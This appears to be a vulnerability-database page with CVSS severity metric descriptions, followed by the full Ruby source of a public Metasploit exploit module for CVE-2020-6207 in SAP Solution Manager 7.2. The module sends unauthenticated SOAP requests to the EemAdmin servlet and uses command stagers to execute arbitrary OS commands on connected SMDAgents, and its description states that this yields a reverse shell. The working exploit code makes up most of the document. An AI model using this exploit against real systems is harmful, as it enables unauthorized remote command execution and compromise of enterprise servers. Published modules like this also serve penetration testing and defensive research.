The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: SAP Solution Manager 7.2 Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Solution Manager remote unauthorized OS commands execution',
'License' => MSF_LICENSE,
'Author' =>
[
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability
'Dmitry Chastuhin', # @chipik The researcher who made first PoC
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
],
'Description' => %q{
This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of
SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication
checks when submitting a SOAP request to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,
send HTTP request (SSRF) and execute OS command on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.
Successful exploitation will allow unauthenticated remote attackers to get reverse shell from connected to the SolMan
agent as the user under which it runs SMDAgent service, usually daaadm.
},
'References' =>
[
['CVE', '2020-6207'],
['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'],
['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207']
],
'Privileged' => false,
'Targets' => [
[
'Linux',
{
'Arch' => [ARCH_X64, ARCH_X86],
'Platform' => 'linux',
'CmdStagerFlavor' => ['printf', 'echo', 'bourne']
}
],
[
'Windows',
{
'Arch' => [ARCH_X64, ARCH_X86],
'Platform' => 'win',
'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-10-03'
)
)
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']),
OptString.new('AGENT', [true, 'Agent server name for exploitation', 'agent_server_name']),
]
)
end
def setup_variables
@host = datastore['RHOSTS']
@port = datastore['RPORT']
@path = datastore['TARGETURI']
@agent_name = datastore['AGENT']
@script_name = Rex::Text.rand_text_alphanumeric(12)
if datastore['SSL']
@schema = 'https://'
else
@schema = 'http://'
end
@solman_uri = "#{@schema}#{@host}:#{@port}#{@path}"
end
def execute_command(cmd, _opts = {})
setup_variables
vprint_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(cmd)))
vprint_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)
vprint_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)
end
# Report Service and Vulnerability
def report_service_and_vuln
report_service(
host: @host,
port: @port,
name: 'soap',
proto: 'tcp',
info: 'SAP Solution Manager'
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references
)
end
def check
setup_variables
begin
agents = make_agents_array
rescue RuntimeError
return Exploit::CheckCode::Safe
end
if agents.empty?
print_status("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!")
else
print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}")
end
report_service_and_vuln
Exploit::CheckCode::Vulnerable
end
def exploit
setup_variables
check_agent(@agent_name)
print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)
report_service_and_vuln
execute_cmdstager
end
end
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